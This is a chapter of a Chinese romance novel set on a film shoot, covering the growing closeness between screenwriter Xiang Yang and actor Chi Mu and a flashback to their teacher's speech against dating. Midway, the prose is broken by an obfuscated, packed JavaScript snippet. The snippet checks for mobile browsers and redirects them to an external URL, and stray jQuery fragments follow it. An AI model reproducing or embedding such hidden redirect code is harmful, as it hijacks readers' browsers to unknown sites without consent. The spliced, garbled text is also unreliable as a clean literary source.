“关上门我们就是一家人。”
寒意裹挟着这句话,二者同时降落在向阳所在位置。
“嗯?”
所以呢?
向阳不解地站在原地,还是没能理解他的脑回路。
“我的意思是,”池沐眼眸明亮,看着她的眼睛,无比诚恳,“你不用害怕麻烦我!”
拿着暖宝宝手一顿,手里东西差点滑落,向阳因他的话,心跳乱了节拍,愣在原地。
“和你们相处的时光是我很宝贵的记忆,所以,”他嘴角弯起弧度,恳求道,“不要害怕麻烦我,这是我的荣幸。”
她向来是一个边界感很强的人,和不熟的人喜欢习惯界限分明,欠下的人情也一定会及时还上,如今却有人同她讲“不要怕麻烦我,这是我的荣幸”,心底最柔软的地方被触动,像是一颗小石头投入湖面,泛起阵阵涟漪。
愣神的片刻,向阳关于这句话的记忆碎片也被复原。
杜老师要是知道池沐掐头去尾地理解他的话,该是无语多一点,还是欣慰多一点?
**
阳城中学作为阳城数一数二的名校,一直严抓纪律问题,早恋更是重点排查对象。
班主任杜志杰是一个很幽默的中年男人,同学们也都很信任他,但早恋问题一直是被反复强调的红线,三令五申告诫过:早恋是绝对不允许的。
每学期年级大会都少不了苦口婆心地劝说,结果,偏偏还是有人不信邪,顶风作案。
杜志杰做为年级主任,更是在短短一个月内,抓包好几对,几个小情侣下了晚自习居然胆大包天,直接手牵手去操场散步,被逮住上还上演了一场恩爱戏码,杜志杰气得不轻。
那段时间,他草木皆兵,看谁都像是有问题,偏巧又遇到班里男同学给女同学写情书,这小子被发现后还一再强调自己只是单相思,女生毫不知情,杜志杰一时间不知道是该夸他“有担当”,还是惩罚他,好在这件事没了下文,就这样告一段落。
杜志杰对早恋持坚决反对态度,不单单是因为“什么年纪该做什么事”,更多的是因为这帮孩子心智不够成熟,成年人都没办法在感情中全身而退,未成年更是不行。
讲完本节课知识点,还有十分钟下课,杜志杰片便留了时间自习。
临近八省联考,学生们压力都不小,教室很安静,大家都在埋头写题。
他双手背在身后,在教室环视一圈后,缓缓走回讲堂。
“向阳。”
“到!”正在抬头写题的人,听到自己名字,应激般地一下子站起来,声音洪亮。
起身时,椅子后后桌的课桌碰撞,发出刺耳的响声,其他人的视线也跟着聚焦在她身上。
向阳低着头同身旁的沈清对视,一个用眼神,一个用口型,都问出了同样的问题。
“我咋了?”
“你咋了?”
自打进入了高三,向阳真的没有在学校偷看过小说,对于班主任的突然点名,心底完全没有底。
“向阳,问你个问题。”
“假如有人向你表白,你会怎么做?”
虽然这个话从杜志杰嘴里问出来有些诡异,但于她而言,无疑是开卷考,向阳信手拈来,自信作答:“我会第一时间拒绝他,并且告诉他,我们这个年纪要以学习为重,不要想些有的没的。”
完全是他心目中的标准答案。
“坐下吧。”杜志杰对她的回答非常满意,称赞不绝,“这就是我们学习委员的觉悟。”
“大家都要向我们学委学习。”
班里调皮的男生,立马开始接话,猴子欢呼声以人传人的方式在班级里传开。
班里闹做一团,他拍拍讲台,示意所有人安静。
“池沐。”
他继续大点兵。
“到!”
角落里的男生不像向阳那般慌乱,只是坐直了身子。
“女同学们一定要擦亮眼睛。”
“我们班这么大一帅哥摆在面前,没他帅的都不行。”
他语出惊人,毫无疑问,回应他的又是鬼哭狼嚎。
有大胆的女生起哄:“你这哪是不能早恋,是不能恋爱啊!”
池沐这般模样的,阳城中学很难再找到第二个,大学里也不见得能遇见。
即提到a,又提到b,沈清心中cp雷达作响,突然凑过来,缺德地说道:“那你俩谈!”
沈清这种乐子人,一想到班主任自己给自己挖坑跳,向阳池沐这个组合大概能气晕他,那点坏心思就藏不住,一个劲地笑。
“无语!”向阳抬肩,试图把落在她肩上因为狂笑一直在抖动的手撇开,懒得理她。
因为这个话题班里瞬间闹腾起来,杜志杰却无暇顾及,走到教室前门。
下课铃响起的瞬间,他直接将门关上,用身子堵住门。
“你们知道现在是什么吗?”
“拖堂呗!”
“关门放狗!”
大家脑洞五花八门,什么话都往外蹦。
他清清嗓子,拉回跑偏的思路,一本正经地解释:“关上门,我们就是一家人。”
回应他的依旧是熟悉的猴叫,夹杂着各种家庭关系专属名称。
“所以。”赵志杰点出重点,“你们谈恋爱,就是大逆不道。”
一家人怎么能恋爱呢!
搞了半天,原来在这等着她们。
**
向阳的记忆被填充完整,细微的情绪变化被笑意取代,轻笑道:“老杜知道你这样曲解他的意思吗?”
“哎呀!”池沐自知理亏,笑着摆摆手,“那他确实讲了我们是一家人嘛。”
这语气听起来,有点像在撒娇?
向阳被她心头冒出来的想法惊了一大跳,又马上否定掉这个想法。
“嗯。”她明知老杜的重点在后半句,也没打算同他争辩,意味深长地点头,“有点道理。”
于是,他又强调一次:“所以,不要怕麻烦我。”
“我很高兴认识你们。”
他毫不掩饰他的真心,不是虚伪客套的漂亮话,而是他的满腔赤忱,无人知晓,别人想要逃离的学校牢笼,其实是他渴求的安宁。
向阳还在思索如何回答,就听着池沐说:“要不?我再关一次门?”
池沐一只手握住门,看着架势颇有关门的意思。
原本还在斟酌用词,向阳被他临场发挥的动作逗笑,脑子里的话脱口而出:“有病啊!”
这句话看似带有责备意思,实则表达出另一种韵味,气氛也因此被带动起来。
池沐没再逗她,让她赶紧去贴暖宝宝。
卫生间的门被关上,池沐看着紧闭的大门,双手插兜,依在车门上,自在悠闲。
**
有了暖手袋和暖宝宝加持,向阳倒也不觉得寒冷,手指的温度再度恢复正常,四肢不再僵硬。
中场休息时间时,赵棠婉跑过来同她聊剧情。
“我当时看这一段的时候,哭得眼睛都肿了。”说完还闭眼同她做鬼脸撒娇。
向阳想起她极具感染力的哭戏,心疼地拍拍她的背:“今天也辛苦了!”
“姝姝,你人真好。”
赵棠婉就这个姿势,直接给了她一个大大的拥抱。
“好饿。”她贴在向阳怀里诉苦。
女演员们的身材管理非常苛刻,为了更上镜,晚上六点后,几乎没人进食。
哪怕此刻赵婉饿得前胸贴后背,她也没打算吃东西。
池沐不知何时站到她们身旁,看样子她两对话应该听了不少,至少最后两个字是听到了。
“赵棠婉!”他喊她,“你不要把粉底蹭到编剧老师衣服上了。”
有病。
赵棠婉在心里翻个白眼,但脸上表情还是甜甜的,惊恐地从向阳怀里起身,夹着嗓子说道:“啊?不会吧!真是不好意思啊!”
“这可是xx家粉底,不卡粉不脱妆,底妆必备。”合格的代言人此刻来了段现场广告。
“哪有!”向阳把她拉回怀抱,瞪了池沐一眼,安慰怀中人,“别听他乱说!”
池沐见她两统一战线,张大嘴巴,一脸不可思议,看向向阳,似是有苦说不出,但又知道不要自讨没趣,笑着抬手比了个投降手势,算是认输。
许芙珉站在她们身后,看着她们说做一团,想要融入,酝酿很久,终究还是没能迈出那一步,转而直接大步从她们眼前迈过去。
“欸!”向阳看见她前行的背影,些许落寞,她想她应该是渴望鼓励的,于是,她也的确这样做了,“芙珉!”
许芙珉闻声转头,眼眸里闪烁着期待与憧憬。
向阳竖起大拇指,发自内心地夸赞道:“你演得特别好!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492165|202281||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开机后,许芙珉单独加了她微信,为她的行为道歉。
向阳没想到她会这样做,毕竟之前那件事在她心目中就算是过去式了,不会纠着不放,于是她去网上搜了相关讯息。
许芙敏初中就开始当练习生,从小就接触令人窒息的末位淘汰制,一直处在高压环境,她的实力也无可置疑,每一次她都排名第一,16岁女团c位出道。
许芙敏没有说话,可她的表情却说明了一切。
她敏感内耗,渴求她人的正面反馈。
**
“收工!”
剧组准点完成任务。
池沐站在向阳身旁,看着工作人员收拾设备,侧过头问道:“饿不饿?要不要吃宵夜?”
“我……”向阳正欲开口,刚说了一个字便被打断。
“好好想想。”
他特意提醒,等同于变相暗示。
向阳自然不是傻子,听出他心中有期望的答案,顺势回应道:“好。”
她对这边区域熟悉,自觉做起东道主。
“我知道附近有一家很好吃的烧烤店,我们去那吧。”
池沐听到她的话后,轻笑出声:“原来向阳老师是想单独和我吃饭。”
他露出遗憾的表情,惋惜道:“那大概率是要让你失望了。”
“等下剧组聚餐,大家不要着急走!”
卢蓉的话语正是时候,解答了向阳的疑惑。
向阳对上他诡计得逞后的小表情,有些无奈,像是在看低年龄段的弟弟,不甘示弱:“幼稚。”
池沐屏蔽掉这条讯息,催着她离开。
“你请客?”向阳突然反应过来。
“嗯。”
向阳在心里算了一下开支,对池沐的财力和大方程度有了更深层次的理解。
真是财大气粗啊!
不愧是躺着就有钱赚。
剧组在大学城附近找了一家烧烤店,提前和店主沟通过,做了清场处理,只剩下内部人员,没有摄像头,能吃得放心。
今晚熬夜的缘故,明日的开工时间被延后,虽然多出几个小时去水肿的时间,但熬夜和夜宵又增加水肿概率,赵棠婉闻着烧烤的香气,最不敢下嘴,拉着有同样烦恼的许芙珉在一旁自我催眠。
两个人闭上眼,开始碎碎念:“我不饿!我不饿!我一点都不饿!”
向阳、池沐、周放坐一桌。
池沐看着角落里自成一桌的女明星们,又看了看身旁撸串的周放,越看越不顺眼,嫌弃地踢一脚他的凳子,颇有兴师问罪的架势:“你怎么不自觉?别人都不吃。”
周放恨兄弟不懂他良苦用心,还是为了不让她们尴尬,他才来这,偏偏某人不领情,他也还嘴:“没有那种烦恼。”
他是不易水肿体质,再加上脸型的原因,压根没有这种困扰。
不看就不会心烦,池沐转头和向阳说话。
“我明天就不来剧组了?”
“那你去哪?”
池沐不急不慢地放下手中的肉串,边擦手边解释:“之前录的综艺还有最后一期。”
向阳手机弹出一连串消息,都来自同一个人,她一只手拿着串,一只手查看消息。
沈清:清明节就是下周了
沈清:你懂的
沈清:求你了
要不是看见消息,她险些忘了大事。
“那你多久回来?”
“八天左右。”
向阳算算日子,时间完全来得及,但不确定他有没有其他安排,试探道:“那你清明节应该在剧组吧?”
“当然。”他用眼神示意周放离开。
“向阳。”他声音很温柔,呼喊着她的名字。
“嗯。”
“我们现在应该算是朋友吧?”
“当然。"
他起身,凑过去,低笑着说:“那可别忘记我。”
身旁人不知何时消失,这一桌就只剩下了她们二人。
抬头的瞬间对上他柔情似水的目光,向阳慌乱移开视线,眼神闪躲。
时钟的秒针好似被刻意调慢频率,这一瞬间变得好漫长。
“不要等我回来就疏远我。”
“会回我消息的吧。”
刻意回避掉灼热的目光,可她的脸颊依旧发烫,感受到心跳的存在,嗓子好似被堵住,只能机械地摇头点头。